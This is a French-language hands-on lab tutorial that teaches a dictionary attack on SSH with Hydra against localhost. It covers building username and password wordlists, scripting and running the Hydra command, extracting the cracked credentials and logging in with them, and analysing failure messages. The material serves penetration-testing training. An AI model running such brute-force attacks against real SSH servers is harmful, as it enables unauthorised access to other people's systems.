Effectuer une attaque par dictionnaire sur SSH avec Hydra

Introduction

Dans ce laboratoire (lab), vous apprendrez à effectuer une attaque par dictionnaire sur les services SSH à l'aide d'Hydra, un outil puissant de craquage de mots de passe. Vous explorerez le processus de génération de listes d'utilisateurs et de mots de passe, la configuration des paramètres d'attaque et l'exécution d'essais de force brute ciblés contre un serveur SSH.

Le laboratoire offre une expérience pratique de la structure des commandes d'Hydra, de l'interprétation des sorties et de l'analyse des résultats. Vous pratiquerez la vérification des fichiers d'entrée, le lancement d'attaques et l'identification des informations d'identification de connexion réussies tout en comprenant les modèles de défaillance courants.

Charger les listes de noms d'utilisateurs et de mots de passe

Dans cette étape, vous allez préparer les éléments essentiels pour une attaque par dictionnaire : les listes d'utilisateurs et de mots de passe. Une attaque par dictionnaire fonctionne en essayant systématiquement chaque mot d'une liste prédéfinie (dictionnaire) comme informations d'identification potentielles. Pour les attaques SSH, nous avons besoin de deux fichiers distincts : l'un contenant les noms d'utilisateurs possibles et l'autre les mots de passe possibles.

1. Tout d'abord, accédez au répertoire du projet où nous allons stocker nos fichiers. Cela permet de tout organiser :

cd ~/project

2. Nous allons créer notre liste d'utilisateurs à l'aide de nano, un éditeur de texte simple. Le nom de fichier usernames.txt est conventionnel, mais vous pourriez le nommer différemment :

nano usernames.txt

3. Dans l'éditeur nano, entrez les noms d'utilisateurs SSH courants que les systèmes pourraient utiliser. Chaque nom d'utilisateur doit être sur une ligne distincte. Ce sont des noms d'utilisateurs par défaut ou courants que les administrateurs pourraient utiliser :

admin
root
user
test
guest
labex

4. Pour enregistrer dans nano : appuyez sur Ctrl+O (la lettre O), puis Entrée pour confirmer le nom de fichier. Quittez nano avec Ctrl+X. Cela vous ramène à la ligne de commande.

5. Maintenant, créez le fichier de mots de passe en utilisant le même processus. Des mots de passe faibles comme ceux-ci sont étonnamment courants dans les systèmes réels :

nano passwords.txt

6. Entrez ces mots de passe courants, un par ligne. Remarquez que certains correspondent à nos noms d'utilisateurs - les gens utilisent souvent la même chaîne pour les deux :

password
123456
admin
qwerty
letmein
labex

7. Enregistrez et quittez nano comme précédemment (Ctrl+O, Entrée, Ctrl+X).

8. Vérifions que nos fichiers ont été créés correctement. La commande ls -l montre que les fichiers existent, tandis que cat affiche leur contenu. C'est une vérification de qualité importante avant de poursuivre :

ls -l usernames.txt passwords.txt
cat usernames.txt
cat passwords.txt

Vous devriez voir les deux fichiers listés avec leurs tailles, suivis de leur contenu affiché. Ces fichiers constituent la base de notre attaque par dictionnaire - Hydra essaiera systématiquement chaque combinaison nom d'utilisateur/mot de passe de ces listes contre le serveur SSH dans les étapes suivantes.

Configurer Hydra pour une attaque par dictionnaire sur SSH

Dans cette étape, vous allez configurer Hydra pour effectuer une attaque par dictionnaire SSH en utilisant les listes d'utilisateurs et de mots de passe créées à l'étape précédente. Une attaque par dictionnaire est une méthode où Hydra essaie systématiquement toutes les combinaisons possibles de vos listes de mots pour trouver des informations d'identification valides.

1. Tout d'abord, assurez-vous que vous êtes dans le bon répertoire de travail où sont stockés vos fichiers de projet :

cd ~/project

Cette commande change votre répertoire actuel pour le dossier du projet dans lequel nous allons travailler.

2. Vérifiez que Hydra est installé en vérifiant sa version :

hydra -v

Vous devriez voir une sortie indiquant la version de Hydra installée. Cela confirme que Hydra est prêt à être utilisé et vous aidera à résoudre les problèmes éventuels plus tard.

3. Créez un fichier cible nommé target.txt contenant l'adresse IP du serveur SSH local :

echo "127.0.0.1" > target.txt

Nous utilisons 127.0.0.1 (localhost) comme cible car nous testons sur notre propre machine dans cet environnement de laboratoire.

4. Comprenez la structure de base de la commande Hydra pour les attaques SSH :

hydra -L <username_list> -P <password_list> <target> ssh

Cela montre les paramètres minimaux requis : la liste d'utilisateurs (-L), la liste de mots de passe (-P), l'adresse IP/le nom d'hôte cible et le service (ssh) que nous attaquons.

5. Préparez la commande Hydra réelle en utilisant vos fichiers (mais ne l'exécutez pas encore) :

hydra -L usernames.txt -P passwords.txt -t 4 -vV 127.0.0.1 ssh

Où :

• -L spécifie le fichier de la liste d'utilisateurs (usernames.txt)
• -P spécifie le fichier de la liste de mots de passe (passwords.txt)
• -t 4 définit le nombre de connexions parallèles (4 threads pour un test plus rapide)
• -vV active la sortie détaillée afin que vous puissiez voir la progression de l'attaque

6. Enregistrez cette commande dans un fichier de script pour l'exécution à l'étape suivante :

echo 'hydra -L usernames.txt -P passwords.txt -t 4 -vV 127.0.0.1 ssh' > attack.sh
chmod +x attack.sh

Créer un script facilite la réexécution de l'attaque et vous évite de taper la commande de manière erronée. La commande chmod rend le script exécutable.

7. Vérifiez que tous les fichiers requis sont présents avant de poursuivre :

ls -l usernames.txt passwords.txt target.txt attack.sh

Ce dernier contrôle confirme que vous avez tous les fichiers nécessaires : la liste d'utilisateurs, la liste de mots de passe, le fichier cible et votre script d'attaque.

Exécuter l'attaque par dictionnaire sur SSH

Dans cette étape, vous allez exécuter l'attaque par dictionnaire SSH avec Hydra en utilisant la configuration préparée dans les étapes précédentes. Hydra est un outil de craquage de mots de passe populaire qui essaie systématiquement différentes combinaisons de noms d'utilisateurs et de mots de passe contre un service tel que SSH.

1. Tout d'abord, assurez-vous que vous êtes dans le bon répertoire de travail où se trouve votre script d'attaque. C'est important car Hydra a besoin d'accéder à vos listes de mots et à vos fichiers de configuration :

cd ~/project

2. Vérifiez que le script d'attaque est prêt en affichant son contenu. Cela vous permet de vérifier une deuxième fois les paramètres de la commande Hydra avant l'exécution :

cat attack.sh

Vous devriez voir la commande Hydra que nous avons préparée précédemment avec l'adresse IP cible, le port et les chemins des listes de mots corrects.

3. Avant d'exécuter l'attaque, assurez-vous que le service SSH est en cours d'exécution sur le localhost car nous testons sur notre propre machine. Hydra a besoin d'un service SSH actif pour tenter des connexions :

sudo service ssh status

Si le service n'est pas en cours d'exécution, démarrez-le avec :

sudo service ssh start

4. Exécutez le script d'attaque. Cela lancera Hydra avec tous les paramètres que nous avons configurés :

./attack.sh

5. Observez la progression de l'attaque en temps réel. Hydra fournira des informations en direct montrant :

• Chaque tentative de connexion avec les combinaisons de noms d'utilisateurs et de mots de passe
• Les connexions réussies (mises en évidence lorsqu'elles sont trouvées)
• Les tentatives échouées (la majorité de la sortie)
• Les statistiques finales, y compris le taux de réussite et le temps écoulé

6. La sortie attendue ressemblera à ceci lorsqu'une paire d'identifiants est trouvée :

[DATA] attacking ssh://127.0.0.1:22/
[VERBOSE] Resolving addresses ... done
[22][ssh] host: 127.0.0.1   login: labex   password: labex
1 of 1 target successfully completed, 1 valid password found

7. L'attaque s'arrêtera automatiquement dans les conditions suivantes :

• Lorsque toutes les combinaisons de vos listes de mots ont été testées
• Lorsqu'une paire d'identifiants valide est trouvée (comportement par défaut de Hydra)
• Si vous l'interrompez manuellement avec Ctrl+C

8. Pour enregistrer les résultats dans un fichier pour une analyse ultérieure, redirigez la sortie. Cela crée un enregistrement permanent de toutes les tentatives et des résultats :

./attack.sh > attack_results.txt

Voir les résultats des connexions réussies

Dans cette étape, vous allez analyser les résultats de votre attaque par dictionnaire SSH pour identifier les tentatives de connexion réussies. Lorsque vous effectuez des tests de sécurité, il est crucial de documenter et de vérifier correctement vos découvertes avant de poursuivre une analyse plus approfondie.

1. Tout d'abord, accédez au répertoire de votre projet où tous vos fichiers de laboratoire sont stockés :

cd ~/project

2. Vérifiez si vous avez enregistré les résultats de l'attaque de l'étape précédente. La commande ls -l affiche des informations détaillées sur les fichiers, y compris la date de création et les autorisations :

ls -l attack_results.txt

3. Si vous n'avez pas enregistré les résultats précédemment, exécutez cette commande pour les générer maintenant. Le symbole > redirige la sortie de Hydra vers un fichier texte pour une analyse ultérieure :

./attack.sh > attack_results.txt

4. Affichez les résultats complets de l'attaque. La commande cat affiche le contenu entier d'un fichier dans votre terminal :

cat attack_results.txt

5. Recherchez les entrées de connexion réussies, qui auront un format similaire. Chaque tentative réussie contient trois éléments clés d'information :

[22][ssh] host: 127.0.0.1   login: labex   password: labex

6. Pour extraire uniquement les tentatives réussies de fichiers de résultats potentiellement volumineux, utilisez grep pour filtrer les lignes contenant "login:". Cela économise du temps lors de la revue des résultats :

grep "login:" attack_results.txt

7. Le format de la sortie montre trois éléments importants que vous devrez vérifier :

• Adresse IP cible (127.0.0.1) - la machine qui a accepté les informations d'identification
• Nom d'utilisateur réussi (login) - le nom de compte valide
• Mot de passe valide - le mot de passe correspondant à ce compte

8. Vérifiez les informations d'identification en tentant une connexion SSH. Cela confirme que les informations d'identification fonctionnent réellement dans une session SSH réelle :

ssh labex@127.0.0.1

Tapez "yes" pour accepter la clé d'hôte si vous y êtes invité (cela se produit lors de la première connexion), puis entrez le mot de passe lorsque cela vous est demandé.

9. Après une connexion réussie, quittez proprement la session SSH pour revenir à votre terminal local :

exit

10. Pour une meilleure lisibilité, formatez les résultats avec ce pipeline de commandes. La commande awk restructurer la sortie en champs clairement étiquetés :

grep "login:" attack_results.txt | awk '{print "Host:",$3,"| Username:",$5,"| Password:",$7}'

Comprendre les messages d'échec d'attaque

Dans cette étape, nous allons examiner la sortie de votre attaque SSH avec Hydra pour comprendre pourquoi certaines tentatives de connexion ont échoué. Analyser ces messages d'échec est crucial à la fois pour les professionnels de la sécurité évaluant les vulnérabilités d'un système et pour les testeurs de pénétration affinant leurs stratégies d'attaque.

1. Tout d'abord, naviguons jusqu'au répertoire de votre projet où les résultats de l'attaque sont stockés. Cela garantit que nous travaillons avec les bons fichiers :

cd ~/project

2. Maintenant, nous allons afficher le fichier complet des résultats de l'attaque. Il contient toute la sortie des tentatives de connexion de Hydra :

cat attack_results.txt

3. Pour nous concentrer spécifiquement sur les tentatives échouées, nous allons filtrer les connexions réussies et rechercher les motifs d'erreur courants. Les commandes grep nous aident à isoler les messages d'échec importants :

grep -v "login:" attack_results.txt | grep -E "invalid|failed|error"

4. Voici les messages d'échec les plus courants que vous rencontrerez et ce qu'ils signifient réellement :

• invalid password : Le nom d'utilisateur était correct, mais le mot de passe ne correspondait pas.
• invalid user : Le nom d'utilisateur n'existe pas sur le système cible.
• connection refused : Le service SSH n'est pas en cours d'exécution sur la cible.
• connection timeout : Des problèmes réseau ou un pare-feu bloquent l'accès.
• too many connections : La cible a détecté et bloqué des tentatives de connexion rapides.

5. Comptons le nombre d'occurrences de chaque type d'échec. Compter ces occurrences nous aide à comprendre les motifs d'attaque :

grep -c "invalid password" attack_results.txt
grep -c "invalid user" attack_results.txt

6. Pour voir si les échecs se sont produits à des moments spécifiques (ce qui pourrait indiquer une limitation de débit), nous allons extraire et compter les horodatages :

grep "invalid" attack_results.txt | awk '{print $1}' | uniq -c

7. Maintenant, nous allons créer un simple rapport de synthèse des échecs. Cette vue organisée nous aide à documenter vos découvertes :

echo "Attack Failure Analysis" > failure_analysis.txt
echo "Invalid passwords: $(grep -c 'invalid password' attack_results.txt)" >> failure_analysis.txt
echo "Invalid users: $(grep -c 'invalid user' attack_results.txt)" >> failure_analysis.txt
cat failure_analysis.txt

8. Pour une investigation plus approfondie, nous pouvons vérifier les journaux SSH du système cible (si vous avez accès). Ils contiennent souvent des informations d'erreur plus détaillées :

sudo grep 'sshd' /var/log/auth.log | tail -20

Résumé

Dans ce laboratoire, vous avez appris à effectuer une attaque par dictionnaire sur SSH en utilisant Hydra en préparant des listes de noms d'utilisateurs et de mots de passe. Le processus comprenait la création de fichiers d'informations d'identification, la vérification de leur contenu et la structuration de la commande Hydra avec les indicateurs appropriés (-L, -P et -t) pour une attaque efficace.

De plus, vous avez exploré l'interprétation de la sortie de Hydra pour identifier les connexions réussies et analyser les résultats de l'attaque. Ce laboratoire a démontré l'importance de la préparation appropriée des fichiers, de la configuration des commandes et des tests systématique dans les attaques sur les informations d'identification SSH.